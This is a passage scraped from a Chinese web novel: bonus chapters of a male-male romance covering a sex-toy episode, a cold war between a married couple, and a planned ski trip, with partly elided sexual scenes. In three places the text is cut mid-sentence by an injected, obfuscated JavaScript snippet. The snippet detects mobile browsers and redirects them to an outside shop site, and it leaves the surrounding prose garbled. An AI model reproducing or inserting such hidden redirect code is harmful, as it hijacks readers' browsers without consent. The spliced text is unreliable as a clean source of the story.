于是他好声好气把裴与驰请进浴室去洗澡,自己留在外面拆快递。结果拆着拆着,拆出一个sex toy,准确来说,是sex toy for her。 寄错了?迟铎第一反应。 再低头一看快递单——地址没错,收件人那一栏里,“Bruce”三个字刺眼得不行。 迟铎:“……” 裴与驰什么意思?买这个? 一秒之内,脑子里乱七八糟的念头全冒了出来,这出轨也太快了吧? 浴室门一开,裴与驰擦着头发走出来。 迟铎憋了一下,没憋住,直接把盒子举起来质问:“你买的?” “嗯。”裴与驰应得很随意。 “你——”迟铎话卡在半截。 “给你用的。”裴与驰接得很平静,像是给迟铎点了份外卖。 “?”迟铎整个人愣住了,整个表情突出一个震惊、困惑。 裴与驰看了他一眼,语气依旧一本正经:“我查过,你没什么反应,应该是刺激不够。” 迟铎:“……” 他张了张嘴,又闭上,像cpu过载 “既然已经到了,”裴与驰顺手拆开外包装,语调自然得过分,“你去洗澡,洗完我们用。” 不是。 这合理吗? 到底是怎么做到用这么理直气壮的语气,把这种话说出来的? 而且话都说到这个份上了,谁还敢洗。 “怎么?”裴与驰抬眼看他,“不想洗?也可以。” 迟铎还没来得及反应,下一句已经补上:“我们直接来。” 说完他真的低头加快了拆的速度。 迟铎几乎是条件反射,连滚带爬冲进了浴室。 他洗得飞快,出浴室却异常艰难,艰难到外面已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019193|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人冷静通知:再不出来就砸锁。 迟铎被今晚那只快递,以及裴与驰一连串过于理直气壮的发言,彻底搞到系统宕机。更可怕的是,他一时间居然想不出一句能反驳的。 第一次很疼,对的。 裴与驰是男朋友,对的。 正常的 x 生活是必要的,对的。 迟铎在脑子里默默过了一遍 tick box,每一项都被勾得清清楚楚,逻辑闭环得令人绝望。 好像……裴与驰真的有理有据。 唯一的问题是,这也太羞耻了,而且是用在他自己身上! 迟铎在浴室里又站了一会儿,认真权衡了一下利弊:如果现在主动出去,大概还能有商有量;如果真的等到砸锁,接下来会发生什么,他一点都不敢保证。 结论很明确,还是自己出去比较安全。 于是他深吸一口气,拉开了浴室门。 门一开,迟铎就看见裴与驰正靠在门口,像是早就料到他会出来。手里还拿着个……兔子样的灯? 不对,不是灯。 那东西粉色,小小一只,造型还挺无辜,裴与驰低头认真看着说明书,眉头微微皱起,大概写策略也就这么认真了。 迟铎:“……” 这一幕比刚才任何一句话都要冲击。 裴与驰像是察觉到他的视线,抬起头来,很自然地问了一句:“洗好了?”语气平静,毫无心理负担。下一秒,他顺手按了兔子某个开关,还很贴心地征询意见:“这个频率合适吗?” 迟铎:“……” 他条件反射地转身想回浴室,结果被一句冷静提醒拦住: “门已经锁回去了。” 迟铎当场僵住。裴与驰看着他,语气平稳,甚至带点安抚:“别紧张,我还在看说明。” 下一秒,迟铎只来得及感觉自己被一带,整个人就失去重心,直接落到了床上。 世界观也跟着一起塌了。 裴与驰动作很快,像是终于完成了前置流程,进入执行阶段。迟铎被压得动弹不得,只能勉强抬头,语气还带着最后一点不敢置信:“……你不是还在看说明吗?” “看完了。”裴与驰答得理直气壮。 迟铎:“你……呃——” 话没说完,声音就很不争气地变了调,连带着最后那点反抗的气势也一并散了。 他脑子里只剩下一个清晰的判断:行动派不愧是行动派,说“看完了”,是真的看完了。 只能说,探索的成果卓著。 身体像是被提前教会了某种本能。迟铎甚至还没完全清醒,就已经顺着那点存在感,自然地调整了姿势,把它往更合适的地方和距离里送。紧紧贴合得太熟练了。 昨晚被反复刺激过的地方对任何一点触碰都异常诚实,几乎是立刻就给出了反应。迟铎被那阵熟悉又陌生的感觉逼得清醒过来,呼吸乱了一拍,想装作若无其事都来不及。 他还没来得及做出什么选择,身后的人已经醒了。动作不急,却很笃定,节奏不快,却精准得要命,足以让迟铎控制不住地泄出暧昧声音。 和第一次那种毫无章法、全靠硬扛的混乱完全不同。现在的感觉直接把脑子清空了,只剩下一阵阵炸开的麻意和痒意,层层叠叠地涌上来,根本不给人思考的余地。 到最后,他放在被子上的手抬了抬,又无力地落下,被另一只手稳稳按住。指缝被嵌进来,十指相扣,像是连退路都被封死。 …………………………………………(见评) 迟铎盯着天花板,彻底放弃思考。 裴与驰这个人,是真的在各种意义上都很六边形。 这是迟铎给出的、极其不情愿,却又完全无法反驳的评价。 至于自己为什么全程配合?那属于系统自动执行,不在主观意志管辖范围内。 54.冷战(雷,慎入)[番外] 凌晨两点,门外传来脚步声。 在床上翻来覆去折腾了好几个小时的迟铎立刻闭上眼,装作早就睡熟。脚步声停在床边那一瞬,他心口“咚”地一沉,呼吸都跟着放轻、放慢。 以往这个时候,裴与驰会先看他一会儿。不说话,就那么站着,像在确认他睡得好不好、被子盖没盖好。然后才俯身,在他脸颊上落下一个吻。 很轻,轻得像错觉。 可爱意很重,重到迟铎每次都差点被砸醒。 有一次他半梦半醒间感觉到了。第二天索性装睡,闭着眼清醒地把那个吻收下。等裴与驰进浴室,他才睁开眼,嘴角止不住往上扬:他好爱我。 于是他偶尔就玩这个无聊的装睡游戏。 可现在,没有。 一周。整整一周,没有亲吻。 脚步声在床边只停了两秒,短得像扫了一眼,又短得像连扫都懒得扫。随后他拐进浴室,门合上,水声哗啦。 迟铎喉咙发紧,眼眶先一步发烫,他看向天花板,像在忍着什么。 哦,已经忍不住了。 枕头已经湿了一小块。 事情要从一周前说起。 零点,裴与驰刚过完生日,照例被迟铎逼着许愿。许完没多久,某个好奇精连一个小时都没撑过,往他怀里一钻,脸埋得很深,黏糊糊地问:“生日愿望是什么?” 裴与驰垂眼看他,停了半秒,才开口:“维持现状。” 迟铎当时没说什么,只在裴与驰怀里沉默了几秒,指尖在对方衬衫扣子上轻轻蹭了一下,最后很冷静地“嗯”了一声,表示知道了。可到了晚上,灯灭了,裴与驰抱着他睡得很沉。迟铎却睁着眼毫无睡意,把手机亮度调到最低,缩在被窝里,像在干什么见不得人的违法勾当,指尖敲得飞快—— “老公失去了激情怎么办?是不爱了吗?” “柴米油盐失去激情了怎么办?” “男人出轨的表现” 搜到最后,他甚至想再补一句:“维持现状是什么意思?” 但他开始一直没搜。 他怕搜出来的答案,比“出轨表现”还吓人。 至少对上“出轨表现”,他还能有明确行动路线:骂人、找律师、闹离婚,流程清晰。 可“维持现状”要是等于“将就着过”,他连骂都不知道从哪句开始骂,骂重了像戏精,骂轻了像默认。 当然,最后他还是没忍住搜了。也确实刷到了一堆故事,内容逃不过有人在将就,有人被将就。结论就是不满意但暂时找不到更好的,就先耗着;嘴上维持现状,心里挑毛病。 第二天。 保姆车上,王平柔坐在副驾,照例滔滔不绝,像行程表成了精,长了嘴。她从下周的拍摄讲到后天的通告,从品牌方的脾气讲到谁谁谁又想蹭热度,讲到自己都快口干舌燥,回头一看,后排一点动静都没有,连个敷衍的“嗯”都没有。 王平柔:“……” 她盯着迟铎看了两秒,职业雷达直接上线:“说吧。裴与驰出轨了?还是你出轨了?” 迟铎没反应。 “还是你们俩都——” 她话说到一半自己先卡了壳。因为正常情况下,这种话甩出去,迟铎至少要回她一句“你有病”。 可今天没有。 迟铎靠在椅背里,帽檐压得很低,口罩也忘了摘,整个人陷在阴影里。手里捏着手机,屏幕早就黑了,显然也不是在看消息。 他就这么神游天际,安静得反常。 王平柔:“……” 她这乌鸦嘴,不会真押中了吧? 这对不是爱到不行吗?豪门两小无猜、双初恋,一路结婚生子,完美童话本话,简直堪称近几年催婚催生的活招牌。爱到迟铎都不作妖了;电影事业也眼看着有奔头了,这时候给她整这出? 她这经纪人工作,真的保险不了一秒。 她深吸一口气,语气稳得像在给自己立遗嘱:“行,那我先确认一下。” “如果是裴与驰出轨,我骂他渣男,顺便给你找离婚律师。孩子妈应该能分不少吧?看你俩以前那副‘此生非你不可’的样子,婚前协议八成也没签。” “如果是你出轨,我骂你脑子进水。老公又帅又有钱,还有一个这么可爱的bb,你图啥?现在立刻马上给我去道歉,麻溜回归家庭。” “如果你们俩都出轨,我现在就给《再见爱人》制作组打电话。爱没了无所谓,钱会来得很快,流量还可能创新高。” 她停顿一下,精准直击:“所以你现在这个表情,是准备让我往哪个方向备战?” 迟铎终于给了反应:“……都不是。” 王平柔还没来得及轻松一秒,迟铎下一句就把她按回去了:“他没激情了。” 他说得特别平静,平静得像熬了通宵做功课:搜索记录拉满,证据链闭环,结案陈词完毕。 王平柔:“?” 她差点被自己所剩无几的一口口水给噎死。 这句话从迟铎嘴里说出来,实在太……一言难尽。凭她这些年迎来送往、察言观色的功力,她大概、也许、可能、百分百确定迟铎对裴与驰,是那种很标准的娇妻情态。虽然她实在很难把“娇妻”这俩字和迟铎挂钩,但她也不好说什么。毕竟豪门一孩妈已成事实,娇妻就娇妻吧。亚比潮男当娇妻也挺合理,人各有志。 可问题是,你这一副天塌了的样子,她还以为出了什么惊天大瓜,结果就这? 对家的黑通告买得还是不够狠,粉丝回踩骂得也不够用力。这种娇妻,属于一点都不需要添油加醋,只要如实描述就能挂小红书,然后被骂到上首页那种。 “表现是?”一言难尽归一言难尽,但摇钱树要是因此无心工作,她这饭碗就真没了。 王平柔以为她至少会听到“裴与驰太忙”“两人世界变少”“纪念日敷衍了”之类的证词。结果迟铎全都摇头:裴与驰照旧会想办法挤出两人世界,纪念日照旧安排得明明白白,行程照旧贴心得滴水不漏——甚至连生日愿望都很朴素:维持现状。 王平柔:“……” 这破班谁爱上谁上。上班已经够当牛马了,还要被迫吃一嘴狗粮,吃到反胃那种。 “请问这怎么叫没激情了?”王平柔面无表情。 “这不就是凑合着过的意思吗?”迟铎也很认真。 行。劳务费、误工费不结是吧,那就出主意让你折腾去吧。 王平柔当场话风一转,十分配合地附和起来:“你说得也有道理……男人嘛,这么讲可能确实带点那个意思。” 裴总对不起。真的。她也是被娇妻折磨得快不成人形了——就让他去折磨老公去吧。 王平柔继续,语气循循善诱:“他没激情,你就给他激情啊。他现在就是日子太安逸了,你懂吗?” “先让他下地狱,再送他上天堂。” “你不是担心没激情吗?激情是什么?激情就是,危机感。” “他既然敢许愿‘维持现状’,你就让他知道:现状不是他一句话就能维持的。” 迟铎下意识反驳:“我没想让他难受。” ……. 她真的服了。 王平柔:“你不想让他难受,那你现在难受什么?” “又没让你真出轨。就做点那种他会多想、你又确实没干的事儿呗。比如看看帅哥,点个赞啊。” “再比如,他平时要亲你、抱你,你就下意识躲一下。让他以为你对他没那么‘生理性喜欢’了,危机感不就上来了?” 王平柔越说越来劲。从一开始只是想发泄一下,毕竟天天上班被贵妇秀一脸狗粮,搁谁谁不怨。说着说着,她自己都信了:这俩人怕不是真有婚姻危机。于是主意越出越野,越来越不靠谱,方向也越来越歪,歪到最后简直像在把人往离婚上推。 迟铎:“……” 迟铎一路都沉默地听着,既没接话,也没反驳。 直到保姆车开到他家门口,王平柔还一副意犹未尽的样子。临下车前还不忘叮嘱:“就按我说的先试试。裴与驰有啥反应,你第一时间跟我同步,我好接着给你出主意。”说完她还补了一句,语气很真诚,真诚得让人怀疑她到底站哪边:“放心,我这是为你好。” 迟铎觉得自家经纪人说得实在不太靠谱,但有一点没说错:既然觉得不对劲,总得先试着打破现状。他一边想着一边进门。 客厅里,小海马正蹲在球池边,把彩色球一颗颗往小桶里塞,专注得不行。听见开门声,他先愣两秒,抬头确认后眼睛一亮,小跑到边上,手举得老高:“妈咪!抱抱!” 迟铎魂飞天外,鞋都没换利索,根本没听见。 小海马又喊:“妈咪——抱!”见还是没反应,小脸立刻皱成小包子,嘴角往下撇,眼看就要启动小情绪。好在nanny秒切救火模式,把他转过去指着球池里的小鸭子玩具:“你刚刚是不是在喂小鸭?”小海马注意力立刻被拽走,点点头,“啪嗒”把球丢进小筒里,自己咯咯笑起来。 天使期就是这样:委屈来得快,走得也快,下一秒就能继续跟世界和好。 等裴与驰回来,小海马直接拽着他裤腿往上爬,像个小挂件。裴与驰单手把人捞起来抱在臂弯里。迟铎却魂不守舍地站在咖啡机旁,盯着一杯早就做好、早就凉了的咖啡发呆。 裴与驰走到他身边,低头刚要亲下去—— 迟铎下意识一偏头,躲开了。 裴与驰:“……” 迟铎:“……” 迟铎躲完当场就后悔了,但做都做了,他硬着头皮把戏接下去:“吃饭吧。”说完就先往餐桌走,走得还挺快,像怕自己回头。 餐桌氛围更怪。平时迟铎一边吃一边逗小海马,顺手给他擦嘴、递水,再吐槽两句片场;今天他直接“后妈模式”启动,只埋头吃饭。 小海马的勺子一歪,“叮”一声掉桌上,抬头奶声奶气:“妈咪……勺勺。” 迟铎没听见。 小海马又喊:“妈咪!” 迟铎还是没反应。 nanny赶紧过来救火,递新勺子、擦围兜,一套动作驾轻就熟 裴与驰看着迟铎,语气很轻:“怎么了?”停了一秒,又问,“谁让你不开心?” 迟铎抬眼,嘴硬得很:“没人。”他想了想,又补一句,“今天太累。” 裴与驰没再追问,只“嗯”了一声。 饭后迟铎把自己往沙发一塞,手机一掏,脑子里自动回放王平柔那句:做点他会多想、又不越线的事。 行。 他打开社交软件,随手刷到一个男模账号:冷着张脸,腹肌、锁骨清清楚楚,一看就是身上抹了好几层油才有的光泽感。 迟铎心一横,拇指一滑,点了个赞。 点完他自己都愣了半秒:……我在干嘛?我疯了吗? 下一秒,身后就传来脚步声。裴与驰站在沙发后,视线落在他屏幕上,停了两秒,然后很平静地问:“你喜欢这种?” 迟铎:“……” 空气再次静止。 迟铎脑子里警铃大作,嘴比脑子快:“随手点的。” 裴与驰“哦”了一声,语气很平静:“随手点到男模腹肌上。” 迟铎硬着头皮继续演:“……嗯。” “懂了。”裴与驰没多看一眼,转身就走。 从这一秒开始,两人正式进入冷战。准确说,是裴与驰单方面的。 这下倒真应景了:他没激情了,至少对迟铎是这样的。 这么多年,他俩唯一一次“长时间不联系”,还是初夜那会儿。不到一个月,但那时候是双方都在消化,一个心乱如麻,一个不敢轻举妄动。就这么互相僵持着,生怕把那点悬而未决的心情碰碎了。 可现在不一样。 这是第一次、也是最正式的一次冷战。不过裴与驰还是每天照常回家,只不过没有亲吻,没有拥抱,对话只剩下“嗯”。睡觉也是,除非迟铎先睡着,不然他不会进卧室。 第一天还勉强能忍。 尤其王平柔吃到了新瓜,激动得不行,隔着屏幕安慰迟铎:男人嘛,闹点小情绪,晾一晾就好了。何况裴与驰也没不回家,回得还挺准时。 第二天开始就不太行了。 迟铎早上醒来,身边空着;路过书房,门缝里透出灯光,裴与驰在里面,像在跟全世界讲话,除了他。 他试探着开口:“你今天……” 裴与驰头都不抬:“开会。” “那晚上——” “应酬。” “你还生气吗?”迟铎没忍住,终于问出口。 裴与驰终于抬眼看他一秒,语气平静得让人心里发毛:“我没生气。” 哦,那就是还在生气。 迟铎真的觉得自己是疯了才听了王平柔的鬼话。之前最多也就是“可能没激情了在将就”,现在直接升级成完全不理人了。 还危机感呢。再这样下去别说激情了,直接是把爱情往坟墓里抬,还顺手把土拍实。 他想解释,又觉得委屈:明明这事的源头不是裴与驰先造成的吗? 所以每当他想解释,话到嘴边总是卡住,解释像认错,不解释又憋得慌,整个人像夹在门缝里,左右都疼。更要命的是,裴与驰每天回来依旧会抱小海马,陪他玩,然后转头看迟铎,眼神一收,语气一冷:“嗯。” 迟铎坐在旁边,居然开始羡慕起自己的儿子:当小bb挺好。至少能名正言顺地被他爸抱。 情绪的累积在一周后的今晚到了顶点。 浴室水声停了,裴与驰出来,擦着头发,照旧绕到床的另一边上床。床垫微微下陷,两人中间空出来的距离,躺两个成年人都绰绰有余。迟铎盯着那条楚河汉界,脑子里只剩一个念头,当初到底为什么要买这么大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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迟铎嘴唇动了动,只憋出一句:“我在想……你是不是没激情了。” 裴与驰的眉梢几不可察地动了一下。迟铎抓住那一点变化,像抓住救命稻草,急急补上:“我不是故意让你难受的。我就是我怕你真的不喜欢我了。” 这句话一出来,他眼眶彻底红了,眼泪像憋太久,啪嗒一下掉在裴与驰的锁骨上,烫得人发麻。 裴与驰低头看了眼那滴泪,停了两秒,终于抬手。 不是抱他。是捏住他下巴,轻轻把他脸抬起来,逼他看自己。 “迟铎,”裴与驰声音很轻,“你知道我为什么不碰你吗?” 迟铎怔住,眼睫上还挂着湿意:“……因为你讨厌我了?” 裴与驰盯着他,忽然笑了一下,笑意却没到眼底:“因为我怕我一碰你,你又躲开。” 迟铎听了没说话,讨厌死当时鬼使神差的自己了,只想把头埋进裴与驰的肩窝里用行动证明自己完全、完全不会躲开。 裴与驰抬着他下巴的手没松,低声逼问:“而且,我什么时候没激情了?” 迟铎吸了吸鼻子,红着眼:“你上次生日许愿不是说‘维持现状’吗?我听着就很像……你不满意现状,但懒得折腾了,就想这么凑合着过。” 裴与驰盯着他两秒,像是第一次认真怀疑:自己可能确实没把迟铎的脑回路摸透,他有时候跟磕多了一样。半天才开口:“你文学拿C真的是有原因的。” ……怎么还拉踩上了,还拉踩得这么古早?更离谱的是他竟然还记得。 迟铎委屈得更狠:“那你倒是说清楚啊。” 裴与驰叹了口气,声音低下来,也更认真了些:“‘维持现状’的意思是,今年爱你,明年也爱你。” 他顿了顿,眼神终于带上温度:“现在这样就是最好的。我不想改变。” 迟铎:“……” 他脑子里只剩两个指令: 马上、立刻,把小红书卸载。 顺便把王平柔也卸载。 裴与驰说完,捏着迟铎下巴的手终于放了下来,转而把人稳稳环进怀里。迟铎那口憋了一周的气一下子泄了,整个人埋在他肩窝里哭得一塌糊涂。像把这一周的委屈一次性倒出来,也像后知后觉地心疼:老公平白被他误会了这么久。 “……对不起。” 他哭得断断续续。 下一秒又委屈上了,声音闷闷的:“你知道我文学没学好,就不能说直接点吗?” 裴与驰:“……” 他实在没忍住:“我说得还不够直接?”话一出口又怕重了,语气很快软下来,“我爱你。我只是想一直这样。” 迟铎心口一疼,眼泪反而掉得更凶了点——他突然觉得自己真的没事找事。 裴与驰沉默两秒,像是在把那一周的情绪慢慢捋出来,终于开口:“你躲开那一下……我真的很难受。” 迟铎顿住,抬起头,眼眶还湿着:“就……就一下。我不是——” 裴与驰看着他,眼神终于软下来,却更认真,“可对我来说,那一下代表着,你可能不想和我在一起了。” 迟铎急得不行,几乎是立刻摇头:“我没有。” “我知道你没有。” 裴与驰捏了捏他的后颈,安抚着怀里乱动的人平静下来,“可你做那些事的时候,你没想过我会怎么想。” 迟铎被这句话逼得眼圈更红,嘴唇动了动,像憋了半天才挤出来:“……我想过。” 裴与驰看着他:“想过什么?” 迟铎手指攥紧了他的衣角,语速很快,却只吐得出几个字:“想你……多想一下。” 裴与驰眉梢一挑:“所以你承认了。” 迟铎:“……” 完了,说漏嘴。 他立刻补救,手忙脚乱地解释:“不是那种多想!我只是……让你紧张我一下,别那么‘维持现状’……我怕你觉得我可有可无。” 裴与驰看了他一会儿,忽然低低笑了一声,像气,又像被他蠢到无奈:“你可有可无?” 他抬手擦掉迟铎脸上的泪,指腹停在他眼尾,没立刻收回去,语气平静得不像话:“你要真可有可无,我这一周是在跟谁赌气?” 迟铎被噎住,连哭都忘了,嗫嚅:“那你为什么不抱我、不亲我,还不回卧室……” 裴与驰答得很坦然:“怕你躲。” 他说完顿了顿,像终于下定决心把那句最难说出口的也一并说完。手臂收紧,把迟铎往怀里按得更稳,声音贴着他耳侧:“也怕我一靠近就失控……吓到你。” 迟铎一下子说不出话,心疼得要命。 迟铎鼻尖发酸,伸手去抓裴与驰的手,小声发颤:“……你怎么不早说。” 裴与驰看着他:“你怎么不早问。” 迟铎:“……” 好有道理,气都没法气,只剩下心疼。 第二天,王平柔给迟铎拨了个电话,准备去吃最新鲜的瓜。系统冷冰冰提示:你拨打的电话正在通话中。 王平柔:“?” 她不信邪,又拨了一次,还是:正在通话中。 王平柔当机立断改打微信语音,结果页面跳出一行字:对方开启了朋友验证。 王平柔:“……” 55.如果当时(6)[番外] 交完最后一个作业后,迟铎还没来得及松口气,狐朋狗友的邀请就跟诈骗短信似的蜂拥而至,一封接一封。他看一眼都头皮发麻,尤其群里那几个一直在上蹿下跳,活跃得不行,隔两分钟就问一句:“今晚来不来?” 迟铎本来还想着给兄弟们留点体面,结果周淮这个坑货在群里嗨得不行,顺带追忆自己“酒仙本仙”的光辉历史,话里话外都是“来啊迟铎我罩你”“挡酒这事兄弟包了”。迟铎懒得回复,手指一滑,干脆把周淮的steam好友也删了,主打一个莫挨老子。 删完人,他就出门跟裴与驰去看滑雪装备。两人已经计划好圣诞周去法国滑雪,很早就预订餐厅喝酒店,主打一个浪漫甜蜜。 群里还在热火朝天地讨论去哪儿浪,@迟铎却石沉大海。周淮不怕死地凑上去刷存在感,顺手点开steam,下一秒就笑不出来了,好友列表里没有迟铎了? 他先是乐呵了一下,还在群里发语音拉踩酒量:“没事儿,迟铎酒量不行不要紧,最近的局兄弟给你挡酒——” 发完才反应过来不对。 周淮盯着那个“添加好友”的按钮看了足足三十秒,嘴里骂了句:“操。” 不是,他最近也没那么坑吧? 复盘开始。 把雷不小心扔迟铎脚下导致全队团灭。那不是紧张手滑吗?而且那把都过去多久了?至少两周了吧。被丧尸追急了,对着迟铎背影连开三枪。那是按错了!谁能保证不手抖? 最近的……也就只剩把迟铎喝进医院那次。 但他不是负荆请罪了吗?饭也请了,歉也道了。是兄弟就给我大度一点啊。 想明白这一切,周淮立刻雄赳赳气昂昂准备去要说法。为显“理直气壮”,他还把其他狐朋狗友一起喊上。当然不是怕自己一对二没自信,绝对不是。 一群人刚到楼下,就正好撞见带着装备回来的两人。 “操,你们要去滑雪?我们也要去!”周淮眼睛一亮,草稿里那点问罪说辞在见到两人手上的装备后早就忘在肚子里了,只剩兴奋。其他人也兴奋起来,纷纷夸这俩太棒了,安排的局不错,现在正是去雪场的好时候。 迟铎:“……” 裴与驰:“……” 迟铎冷静地开始劝退:“你们签证办了?” “切,早就办了,”有人不以为然,“上次春假没你俩是吧?” 迟铎:“……” 行,这条路堵死了。 他换一条继续:“你们有装备?” “租呗。”周淮摊手,理直气壮, 迟铎咬牙:“赵星宇根本不会滑。” 赵星宇当场不服:“我就去乐呵咋了?雪场又不是没新手区教学,我现请个教练就是。” 迟铎:“……” 算了,不挣扎了。 裴与驰这时候适时开口,直击要害:“酒店没房间。” 现在正是雪场最热门的时候,临时订房确实难。这一句也确实让几个人动作一顿,有的下意识开始挠头,迟铎就在等着这群怕麻烦的损友有人带头来句:“那要不算了”。 没想到某个猪精早就低头在屏幕上滑酒店信息,还一脸“这也算事?”的从容,贴心给出方案:“没就airbnb呗。兄弟们一起住,差点就差点。不行——” 他说到这儿顿了顿,抬眼看迟铎和裴与驰,理直气壮得像宿舍长:“不行你俩房间给我们各加几张床不就行了。” 迟铎:“……” 裴与驰:“……” 无懈可击,且非常不要脸。 迟铎面无表情,直接把路封死:“我俩一间房。” 空气安静了半拍。 周淮“哟”了一声,立刻开始阴阳怪气:“两位怎么突然这么节约?” 下一秒他又恢复成那副“我这是为大家好”的嘴脸,更加理直气壮地指挥起来:“那你们去问啊!刚好让酒店给你们升级成家庭房让我们挤一挤。白天滑完雪晚上还能继续嗨,多完美!” 迟铎听得太阳穴直跳,脑子里一瞬间脑补无数种雪山抛尸的作案手法。迟了了当年买房到底为什么非要跟朋友挤一起?害得他一出生就毫无选择权,被迫拥有这个坑货朋友。 但为时已晚,气氛都已经到这儿了,迟铎和裴与驰也没什么拒绝的理由,只能咬牙应下来,前提是底线得守住。 “你们一起可以。”迟铎冷着脸,“但房间改家庭房和加床想都别想。” 周淮还想争辩:“你这人怎么——” 裴与驰看他一眼:“你们自己想办法住别的。” 裴少一句话把周公子的苦情戏掐死。他噎了噎,最后只能把“挤一挤多热闹”吞回去,转而开始研究airbnb和周边酒店,嘴上还不忘给自己找台阶:“行行行,多大点事,我们自己找地方住。” 等那群人吵吵嚷嚷散了,迟铎才终于松了口气,转头就开始盘算补救措施,为了确保万无一失,他甚至真准备一会儿就给酒店打电话,把套房降级成大床房算了。他太了解这群人了,“我就借个充电器”能演变成“我来你床上躺一下”,最后发展到“我觉得你浴缸更舒服我不走了”几乎是必经流程,而且全程理直气壮,毫无心理负担。 明明是甜蜜双人游:白天滑雪,晚上已经提前预约了酒店的各种服务:地板花瓣、浴缸花瓣是必备的,香薰、浴盐、香槟和 spa 也都排上了。 结果现在,被迫跟一群傻逼搞团建。 裴与驰倒是很认命。在把那群傻逼赶走、不让进门后,他直接放下东西,一把把迟铎抱起来:“不要浪费时间。” 行动派发话:“少的时间,这两天补回来。”服务还很到位,贴心地给了选择:“说吧,先骑腹肌还是——” 迟铎觉得很有道理,但还是得先矜持一下。 “……还没洗。” 裴与驰像收到指令似的,连“哦”都懒得给,抱着他转身就拐进浴室。花洒一开,水声落下来的瞬间,热雾瞬间往上窜,玻璃变得一片模糊,暧昧的氛围也在升腾。 衣服贴在身上,两个人都湿透了。 迟铎脑子里被热水一淋,被裴与驰一抱,那点“计划被打破”的火气,被强行换了方向,不往外烧了,开始往里烧。变成另一种更要命的热意,在体内,一点一点往上顶,顶得人心跳都不讲理。 迟铎本来还想维持一下矜持,至少在语言上装一装:“……你就不能慢点?” 至少先脱了衣服再打开花洒。 裴与驰牢牢把他按在瓷砖上,低头看他:“慢了就更浪费时间。” 说完他单手把上衣一扯,动作很利落。水顺着他的下颌线往下滴,落到线条清晰得过分的腹肌上,又顺着往更隐秘的地方滑进去,最后都被牛仔布吞掉。迟铎不想看,又忍不住看,越看越觉得自己刚才那句还没洗纯属自投罗网。 迟铎:“……” 行。 他明明应该骂一句“你有病吧”,但眼睛很诚实,甚至还非常不争气地欣赏了几秒,才像勉强施舍似的给出选择: “……腹肌。” 裴与驰“嗯”了一声,听起来像答应了。 下一秒,他手一伸,把迟铎压得更近,贴得严丝合缝,近到呼吸都没法躲,……………………(评) 裴与驰低头,嘴唇擦过来一点点,像要吻又像故意不吻,折磨得人心跳直接失控。他把声音放得很低,低到像气音,但嗓音和语调都是迟铎每次都抵抗不了的性感。 “喜欢腹肌?” 迟铎:“……” 迟铎被他问得耳根发热,硬撑着哼了一声:“……你少得意。” 裴与驰轻轻笑了一下,没再逗弄,像是终于良心发现,开始服务。 “Madam,请问您需要先洗哪里?”语气礼貌得向酒店侍应生在为顶级客户提供服务。 可他眼神一点都不礼貌,落点毫不遮掩;手更不规矩,没等到回答就已经按照自己的理解服务上了,……………………(评),动作熟练又慢条斯理。 他还特别“尽职尽责”,像真的要给尊贵的客人一个交代似的,停了一下,低头看了一眼手上的东西,很专业地点点头,压着声音评估:“确实要好好洗。” 迟铎:“……” 服务生似乎在热雾下看不清客人的表情,他语气依旧谦卑,尾音压得很低,带着一点笑意:“Madam,请问您是要浴球——” 他停顿一下,像真的在给客人充分思考的机会。然后非常贴心地补上另一个选项:“还是要腹肌来帮忙洗干净?” 迟铎:“……” 裴与驰幸好没去瑞士学酒店管理,不然他这样的受害者不知道有多少。 迟铎被自己脑补和裴与驰这幅花花公子的样子气到了,………………(评) 裴与驰的呼吸在耳边明显顿了一下。 迟铎动作不停,甚至还变本加厉,直接凑过去咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032025|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他耳朵,声音放得很软,偏偏又含含糊糊地挑衅:“怎么?就这服务态度吗?” 裴与驰低低笑了一声,像被他气到了,又像被他逗到了。 迟铎心里得意得要命,嘴上还要端着挑刺的口吻:“笑什么?我投诉你。” 这段时间不知疲倦地勤奋学习下来,不说能去马杀鸡店应聘个中级技师,但让某位八英寸男失控确实很简单。 别问,问就是……睡着了偷偷量过。 下一秒迟铎就为自己的挑衅付出代价。 裴与驰“啪”地把花洒一关,浴室里水声骤停,剩下的只有热雾和两个人挤在同一个呼吸频率里的心跳。迟铎还没来得及说“你干嘛”,人就被裴与驰带离了那片水幕,几步之间,迟铎被他带到浴缸边,开关一拧,水很快漫上来,热气裹着浴盐的香味扑在脸上。 衣服全部掉在地上 …………………………(评) 裴与驰语气依旧一本正经:“刚才不是说要投诉?” 迟铎:“……” 裴与驰贴近,嗓音压得很低,给了协商的最后结果:“你不满意,就只能你自己来。” 他说完抬了抬手,做了个请的手势,礼貌、克制、但欠得要命。 “来吧,Madam。”他慢条斯理道,“亲自验收。” 迟铎:“……你真是——” “……服务态度极差。” 裴与驰低笑,语气更加理直气壮:“那就更该你来纠正。” 迟铎:“……” 无语归无语,但体验感确实超好,好到他都想找个地方抒发下情感——当然不可能对本人抒发。 但如果去 reddit上发帖说 “My bf is 8 inches and has a six-pack… help?” 八成只会得到两种回复: 没图就是假的。 怀疑他是 Tinder 或者 Hinge 的软广,顺便能把他账号举报到无法发言。 算了,他还是别抒发了。 